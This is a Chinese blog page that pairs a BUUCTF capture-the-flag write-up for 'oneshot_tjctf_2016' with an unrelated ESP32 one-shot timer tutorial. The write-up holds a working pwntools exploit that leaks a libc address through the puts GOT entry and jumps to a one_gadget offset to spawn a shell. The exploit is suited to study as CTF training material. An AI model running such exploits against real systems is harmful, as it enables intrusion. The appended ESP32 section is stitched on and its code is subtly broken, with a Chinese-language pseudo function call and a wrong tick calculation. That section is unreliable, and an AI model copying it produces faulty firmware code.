BUUCTF之“oneshot_tjctf_2016”

本文介绍了通过泄露libc函数地址并计算基地址的方法,结合OneGadget工具找到execve地址的过程。文中详细解释了IDA中关于(_QWORD*)v4的操作含义及Python脚本实现。

咳咳,这题就是对于onegadget的简单复习:泄露libc库某个函数,然后计算基地址,结合onegadget计算execve地址。

IDA中需要注意的:

*(_QWORD *)v4

这里着重说下“*(_QWORD )”,我们将之拆开来说:
(_QWORD
)意思是将八个字节的后者(v4)强制转换为8个字节的地址,而后再其前边加上星号就是提取指针“将指针指向的8个空间格子取出”,程序中的意思是,再将其以16进制形式打印出来。

WP:

from pwn import*
p=remote('node4.buuoj.cn',29008)
libc=ELF('./libc-2.23.so64')
elf=ELF('./shot')

puts_got=elf.got['puts']
p.sendlineafter("Read location?",str(puts_got))
p.recvuntil("0x")
addr_=int(p.recvuntil('\n'),16)

base=addr_-libc.symbols['puts']
onegad=base+0x45216

p.sendlineafter("Jump location?",str(onegad))
p.interactive()

WP中需要注意的:
一个是int的使用,
一个是str()的形式将"put_addr"和“onegad”输入上去:这是因为我们利用“send__的形式与远端进行交互,而send_的要求就是要发送字符,二者的都是地址,是数,所以我们的利用str()将其转成字符形式”

### ESP32 OneShot 读取示例代码 对于ESP32上的OneShot模式,通常用于精确的时间测量或事件触发。下面是一个简单的例子来展示如何配置并使用定时器的OneShot模式。 #### 配置和初始化定时器 ```cpp #include "driver/timer.h" #define ONE_SHOT_TIMER_GROUP TIMER_GROUP_0 #define ONE_SHOT_TIMER_INDEX TIMER_0 void setup_one_shot_timer() { /* 初始化定时器 */ timer_config_t config = { .divider = 80, .counter_dir = TIMER_COUNT_UP, .counter_en = TIMER_PAUSE, .alarm_en = TIMER_ALARM_EN, .auto_reload = false }; timer_init(ONE_SHOT_TIMER_GROUP, ONE_SHOT_TIMER_INDEX, &config); } ``` 此部分设置了一个基于硬件的计数器,该计数器将以指定频率运行,并且当达到预设值时会触发中断[^1]。 #### 设置报警时间并启动定时器 ```cpp void start_one_shot_timer(uint64_t alarm_value) { // 加载警报值到定时器中 timer_set_alarm_value(ONE_SHOT_TIMER_GROUP, ONE_SHOT_TIMER_INDEX, alarm_value); // 启用定时器的警报功能 timer_enable_intr(ONE_SHOT_TIMER_GROUP, ONE_SHOT_TIMER_INDEX); // 开始计数 timer_start(ONE_SHOT_TIMER_GROUP, ONE_SHOT_TIMER_INDEX); } // 假设我们希望在大约1秒后触发一次性的动作,则可以这样调用函数: start_one_shot_timer((uint64_t)(80 * 1e6)); // 一秒等于80M ticks ``` 这段代码展示了如何设定一个特定的时间间隔,在这个案例里是一秒钟之后触发一次性操作。通过调整`alarm_value`参数,可以根据实际需求改变延迟时间。 #### 中断处理程序 为了响应由定时器产生的中断信号,还需要定义相应的ISR(Interrupt Service Routine)。这里提供了一个基本框架: ```cpp static void IRAM_ATTR oneshot_isr_handler(void* arg) { uint32_t intr_status = TIMGn_INT_ST_TIMERS; if (intr_status & BIT(TIMER_0)) { // 清除中断标志位 TIMERG0.int_clr_timers.t0 = 1; // 执行想要完成的任务... // 如果需要再次启用定时器,记得重新加载新的警报值并重启它。 // start_one_shot_timer(new_alarm_value); } } // 注册中断服务例程 timer附着回调函数(oneshot_isr_handler, NULL); // 确保使能全局中断 portENABLE_INTERRUPTS(); ``` 上述片段说明了怎样编写一个能够捕捉来自定时器中断的服务程序,并执行必要的清理工作以及任何其他期望的操作。请注意,所有这些都应在IRAM属性下实现以确保性能。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值